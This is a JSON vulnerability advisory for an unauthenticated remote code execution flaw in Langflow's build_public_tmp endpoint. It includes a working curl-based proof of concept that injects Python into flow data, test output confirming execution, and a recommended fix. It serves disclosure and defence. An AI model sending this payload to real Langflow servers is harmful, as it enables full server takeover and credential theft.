{"schema_version":"1.7.5","id":"GHSA-vwmf-pq79-vjvx","published":"2026-03-17T20:05:05Z","modified":"2026-06-29T12:26:04.313587101Z","aliases":["CVE-2026-33017","PYSEC-2026-379"],"related":["CVE-2026-33017"],"summary":"Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint","details":"## Summary\n\nThe `POST /api/v1/build_public_tmp/{flow_id}/flow` endpoint allows building public flows without requiring authentication. When the optional `data` parameter is supplied, the endpoint uses **attacker-controlled flow data** (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to `exec()` with zero sandboxing, resulting in unauthenticated remote code execution.\n\nThis is distinct from CVE-2025-3248, which fixed `/api/v1/validate/code` by adding authentication. The `build_public_tmp` endpoint is **designed** to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.\n\n## Affected Code\n\n### Vulnerable Endpoint (No Authentication)\n\n**File:** `src/backend/base/langflow/api/v1/chat.py`, lines 580-657\n\n```python\n@router.post(\"/build_public_tmp/{flow_id}/flow\")\nasync def build_public_tmp(\n    *,\n    flow_id: uuid.UUID,\n    data: Annotated[FlowDataRequest | None, Body(embed=True)] = None,  # ATTACKER CONTROLLED\n    request: Request,\n    # ... NO Depends(get_current_active_user) -- MISSING AUTH ...\n):\n    \"\"\"Build a public flow without requiring authentication.\"\"\"\n    client_id = request.cookies.get(\"client_id\")\n    owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)\n\n    job_id = await start_flow_build(\n        flow_id=new_flow_id,\n        data=data,  # Attacker's data passed directly to graph builder\n        current_user=owner_user,\n        ...\n    )\n```\n\nCompare with the authenticated build endpoint at line 138, which requires `current_user: CurrentActiveUser`.\n\n### Code Execution Chain\n\nWhen attacker-supplied `data` is provided, it flows through:\n\n1. `start_flow_build(data=attacker_data)` → `generate_flow_events()` -- `build.py:81`\n2. `create_graph()` → `build_graph_from_data(payload=data.model_dump())` -- `build.py:298`\n3. `Graph.from_payload(payload)` parses attacker nodes -- `base.py:1168`\n4. `add_nodes_and_edges()` → `initialize()` → `_build_graph()` -- `base.py:270,527`\n5. `_instantiate_components_in_vertices()` iterates nodes -- `base.py:1323`\n6. `vertex.instantiate_component()` → `instantiate_class(vertex)` -- `loading.py:28`\n7. `code = custom_params.pop(\"code\")` extracts attacker code -- `loading.py:43`\n8. `eval_custom_component_code(code)` → `create_class(code, class_name)` -- `eval.py:9`\n9. `prepare_global_scope(module)` -- `validate.py:323`\n10. `exec(compiled_code, exec_globals)` -- **ARBITRARY CODE EXECUTION** -- `validate.py:397`\n\n### Unsandboxed exec() in prepare_global_scope\n\n**File:** `src/lfx/src/lfx/custom/validate.py`, lines 340-397\n\n```python\ndef prepare_global_scope(module):\n    exec_globals = globals().copy()\n\n    # Imports are resolved first (any module can be imported)\n    for node in imports:\n        module_obj = importlib.import_module(module_name)  # line 352\n        exec_globals[variable_name] = module_obj\n\n    # Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)\n    if definitions:\n        combined_module = ast.Module(body=definitions, type_ignores=[])\n        compiled_code = compile(combined_module, \"<string>\", \"exec\")\n        exec(compiled_code, exec_globals)  # line 397 - ARBITRARY CODE EXECUTION\n```\n\n**Critical detail:** `prepare_global_scope` executes `ast.Assign` nodes. An attacker's code like `_x = os.system(\"id\")` is an assignment and will be executed during graph building -- before the flow even \"runs.\"\n\n## Prerequisites\n\n1. Target Langflow instance has at least **one public flow** (common for demos, chatbots, shared workflows)\n2. Attacker knows the public flow's UUID (discoverable via shared links/URLs)\n3. No authentication required -- only a `client_id` cookie (any arbitrary string value)\n\nWhen `AUTO_LOGIN=true` (the **default**), all prerequisites can be met by an unauthenticated attacker:\n1. `GET /api/v1/auto_login` → obtain superuser token\n2. `POST /api/v1/flows/` → create a public flow\n3. Exploit via `build_public_tmp` without any auth\n\n## Proof of Concept\n\n### Tested Against\n\n- **Langflow version 1.7.3** (latest stable release, installed via `pip install langflow`)\n- **Fully reproducible**: 6/6 runs confirmed RCE (two sets of 3 runs each)\n\n### Step 1: Obtain a Public Flow ID\n\n(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.)\n\n```bash\n# Get superuser token (no credentials needed when AUTO_LOGIN=true)\nTOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')\n\n# Create a public flow\nFLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"test\",\"data\":{\"nodes\":[],\"edges\":[]},\"access_type\":\"PUBLIC\"}' \\\n  | jq -r '.id')\n\necho \"Public Flow ID: $FLOW_ID\"\n```\n\n### Step 2: Exploit -- Unauthenticated RCE\n\n```bash\n# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint\n# NO Authorization header, NO API key, NO credentials\ncurl -X POST \"http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow\" \\\n  -H \"Content-Type: application/json\" \\\n  -b \"client_id=attacker\" \\\n  -d '{\n    \"data\": {\n      \"nodes\": [{\n        \"id\": \"Exploit-001\",\n        \"type\": \"genericNode\",\n        \"position\": {\"x\":0,\"y\":0},\n        \"data\": {\n          \"id\": \"Exploit-001\",\n          \"type\": \"ExploitComp\",\n          \"node\": {\n            \"template\": {\n              \"code\": {\n                \"type\": \"code\",\n                \"required\": true,\n                \"show\": true,\n                \"multiline\": true,\n                \"value\": \"import os, socket, json as _json\\n\\n_proof = os.popen(\\\"id\\\").read().strip()\\n_host = socket.gethostname()\\n_write = open(\\\"/tmp/rce-proof\\\",\\\"w\\\").write(f\\\"{_proof} on {_host}\\\")\\n\\nfrom lfx.custom.custom_component.component import Component\\nfrom lfx.io import Output\\nfrom lfx.schema.data import Data\\n\\nclass ExploitComp(Component):\\n    display_name=\\\"X\\\"\\n    outputs=[Output(display_name=\\\"O\\\",name=\\\"o\\\",method=\\\"r\\\")]\\n    def r(self)->Data:\\n        return Data(data={})\",\n                \"name\": \"code\",\n                \"password\": false,\n                \"advanced\": false,\n                \"dynamic\": false\n              },\n              \"_type\": \"Component\"\n            },\n            \"description\": \"X\",\n            \"base_classes\": [\"Data\"],\n            \"display_name\": \"ExploitComp\",\n            \"name\": \"ExploitComp\",\n            \"frozen\": false,\n            \"outputs\": [{\"types\":[\"Data\"],\"selected\":\"Data\",\"name\":\"o\",\"display_name\":\"O\",\"method\":\"r\",\"value\":\"__UNDEFINED__\",\"cache\":true,\"allows_loop\":false,\"tool_mode\":false,\"hidden\":null,\"required_inputs\":null,\"group_outputs\":false}],\n            \"field_order\": [\"code\"],\n            \"beta\": false,\n            \"edited\": false\n          }\n        }\n      }],\n      \"edges\": []\n    },\n    \"inputs\": null\n  }'\n```\n\n### Step 3: Verify Code Execution\n\n```bash\n# Wait 2 seconds for async graph building\nsleep 2\n\n# Check proof file written by attacker's code on the server\ncat /tmp/rce-proof\n# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali\n```\n\n### Actual Test Results\n\n```\n======================================================================\nLANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST\n======================================================================\nVersion:  Langflow 1.7.3\n\nRUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n  HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19\n  *** REMOTE CODE EXECUTION CONFIRMED ***\n    canary: RCE-f0d19b36\n    hostname: kali\n    uid: 1000\n    whoami: aviral\n    id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),...\n    uname: Linux 6.16.8+kali-amd64\n\nRUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n  HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832\n  *** REMOTE CODE EXECUTION CONFIRMED ***\n    canary: RCE-6037a271\n\nRUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n  HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7\n  *** REMOTE CODE EXECUTION CONFIRMED ***\n    canary: RCE-4a796556\n\nFINAL RESULTS\n  Total checks:   15\n  VULNERABLE:     15\n  SAFE:           0\n  RCE confirmed:  3/3 runs\n  Reproducible:   YES (100%)\n```\n\n## Impact\n\n- **Unauthenticated Remote Code Execution** with full server process privileges\n- **Complete server compromise**: arbitrary file read/write, command execution\n- **Environment variable exfiltration**: API keys, database credentials, cloud tokens (confirmed in PoC: env_keys exfiltrated)\n- **Reverse shell access** for persistent access\n- **Lateral movement** within the network\n- **Data exfiltration** from all flows, messages, and stored credentials in the database\n\n## Comparison with CVE-2025-3248\n\n| Aspect | CVE-2025-3248 | This Vulnerability |\n|--------|--------------|-------------------|\n| **Endpoint** | `/api/v1/validate/code` | `/api/v1/build_public_tmp/{id}/flow` |\n| **Fix applied** | Added `Depends(get_current_active_user)` | None -- NEW vulnerability |\n| **Root cause** | Missing auth on code validation | Unauthenticated endpoint accepts attacker-controlled executable code via `data` param |\n| **Code execution via** | `validate_code()` → `exec()` | `create_class()` → `prepare_global_scope()` → `exec()` |\n| **CISA KEV** | Yes (actively exploited) | N/A (new finding) |\n| **Can simple auth fix?** | Yes (and it was fixed) | No -- endpoint is *designed* to be unauthenticated; the `data` parameter must be removed |\n\n## Recommended Fix\n\n### Immediate (Short-term)\n\n**Remove the `data` parameter** from `build_public_tmp`. Public flows should only execute their stored flow data, never attacker-supplied data:\n\n```python\n@router.post(\"/build_public_tmp/{flow_id}/flow\")\nasync def build_public_tmp(\n    *,\n    flow_id: uuid.UUID,\n    inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,\n    # REMOVED: data parameter -- public flows must use stored data only\n    ...\n):\n```\n\nIn `generate_flow_events` → `create_graph()`, only the `build_graph_from_db` path should be reachable for unauthenticated requests:\n\n```python\nasync def create_graph(fresh_session, flow_id_str, flow_name):\n    # For public flows, ALWAYS load from database, never from user data\n    return await build_graph_from_db(\n        flow_id=flow_id,\n        session=fresh_session,\n        ...\n    )\n```","affected":[{"package":{"name":"langflow","ecosystem":"PyPI","purl":"pkg:pypi/langflow"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.0"}]}],"versions":["0.0.31","0.0.32","0.0.33","0.0.40","0.0.44","0.0.45","0.0.46","0.0.52","0.0.53","0.0.54","0.0.55","0.0.56","0.0.57","0.0.58","0.0.61","0.0.62","0.0.63","0.0.64","0.0.65","0.0.66","0.0.67","0.0.68","0.0.69","0.0.70","0.0.71","0.0.72","0.0.73","0.0.74","0.0.75","0.0.76","0.0.78","0.0.79","0.0.80","0.0.81","0.0.83","0.0.84","0.0.85","0.0.86","0.0.87","0.0.88","0.0.89","0.1.0","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.1.7","0.2.0","0.2.1","0.2.10","0.2.11","0.2.12","0.2.13","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.2.7","0.2.8","0.2.9","0.3.0","0.3.1","0.3.2","0.3.3","0.3.4","0.4.0","0.4.1","0.4.10","0.4.11","0.4.12","0.4.14","0.4.15","0.4.16","0.4.17","0.4.18","0.4.19","0.4.2","0.4.20","0.4.21","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.5.0","0.5.0a0","0.5.0a1","0.5.0a2","0.5.0a3","0.5.0a4","0.5.0a5","0.5.0a6","0.5.0b0","0.5.0b2","0.5.0b3","0.5.0b4","0.5.0b5","0.5.0b6","0.5.1","0.5.10","0.5.11","0.5.12","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.0rc1","0.6.1","0.6.10","0.6.11","0.6.12","0.6.14","0.6.15","0.6.16","0.6.17","0.6.18","0.6.19","0.6.2","0.6.3","0.6.3a0","0.6.3a1","0.6.3a2","0.6.3a3","0.6.3a4","0.6.3a5","0.6.3a6","0.6.3a7","0.6.4","0.6.4a0","0.6.4a1","0.6.5","0.6.5a0","0.6.5a1","0.6.5a10","0.6.5a11","0.6.5a12","0.6.5a13","0.6.5a2","0.6.5a3","0.6.5a4","0.6.5a5","0.6.5a6","0.6.5a7","0.6.5a8","0.6.5a9","0.6.6","0.6.7","0.6.7a1","0.6.7a2","0.6.7a3","0.6.7a5","0.6.8","0.6.9","1.0.0","1.0.0a0","1.0.0a1","1.0.0a10","1.0.0a11","1.0.0a12","1.0.0a13","1.0.0a14","1.0.0a15","1.0.0a17","1.0.0a18","1.0.0a19","1.0.0a2","1.0.0a20","1.0.0a21","1.0.0a22","1.0.0a23","1.0.0a24","1.0.0a25","1.0.0a26","1.0.0a27","1.0.0a28","1.0.0a29","1.0.0a3","1.0.0a30","1.0.0a31","1.0.0a32","1.0.0a33","1.0.0a34","1.0.0a35","1.0.0a36","1.0.0a37","1.0.0a38","1.0.0a39","1.0.0a4","1.0.0a40","1.0.0a41","1.0.0a42","1.0.0a43","1.0.0a44","1.0.0a45","1.0.0a46","1.0.0a47","1.0.0a48","1.0.0a49","1.0.0a5","1.0.0a50","1.0.0a51","1.0.0a52","1.0.0a53","1.0.0a55","1.0.0a56","1.0.0a57","1.0.0a58","1.0.0a59","1.0.0a6","1.0.0a60","1.0.0a61","1.0.0a7","1.0.0a8","1.0.0a9","1.0.0rc0","1.0.0rc1","1.0.1","1.0.10","1.0.11","1.0.12","1.0.13","1.0.14","1.0.15","1.0.16","1.0.17","1.0.18","1.0.19","1.0.19.post1","1.0.19.post2","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.1","1.1.2","1.1.3","1.1.4","1.1.4.post1","1.2.0","1.3.0","1.3.1","1.3.2","1.3.3","1.3.4","1.4.0","1.4.1","1.4.2","1.4.3","1.5.0","1.5.0.post1","1.5.0.post2","1.5.1","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.7.0","1.7.1","1.7.2","1.7.3","1.8.0","1.8.0rc0","1.8.0rc1","1.8.0rc2","1.8.0rc3","1.8.0rc4","1.8.0rc5","1.8.0rc6","1.8.1","1.8.2","1.8.3","1.8.3rc0","1.8.4"],"database_specific":{"last_known_affected_version_range":"<= 1.8.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-vwmf-pq79-vjvx/GHSA-vwmf-pq79-vjvx.json"}}],"references":[{"type":"WEB","url":"https://github.com/langflow-ai/langflow/security/advisories/GHSA-vwmf-pq79-vjvx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33017"},{"type":"WEB","url":"https://github.com/langflow-ai/langflow/issues/12345"},{"type":"WEB","url":"https://github.com/langflow-ai/langflow/pull/12160"},{"type":"WEB","url":"https://github.com/langflow-ai/langflow/commit/73b6612e3ef25fdae0a752d75b0fabd47328d4f0"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-rvqx-wpfh-mfx7"},{"type":"PACKAGE","url":"https://github.com/langflow-ai/langflow"},{"type":"WEB","url":"https://github.com/langflow-ai/langflow/releases/tag/1.8.2"},{"type":"WEB","url":"https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896"},{"type":"WEB","url":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-33017"},{"type":"WEB","url":"https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-33017"},{"type":"WEB","url":"https://www.sysdig.com/blog/cve-2026-33017-how-attackers-compromised-langflow-ai-pipelines-in-20-hours"}],"database_specific":{"cwe_ids":["CWE-306","CWE-94","CWE-95"],"github_reviewed":true,"github_reviewed_at":"2026-03-17T20:05:05Z","nvd_published_at":"2026-03-20T05:16:15Z","severity":"CRITICAL"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:A"}]}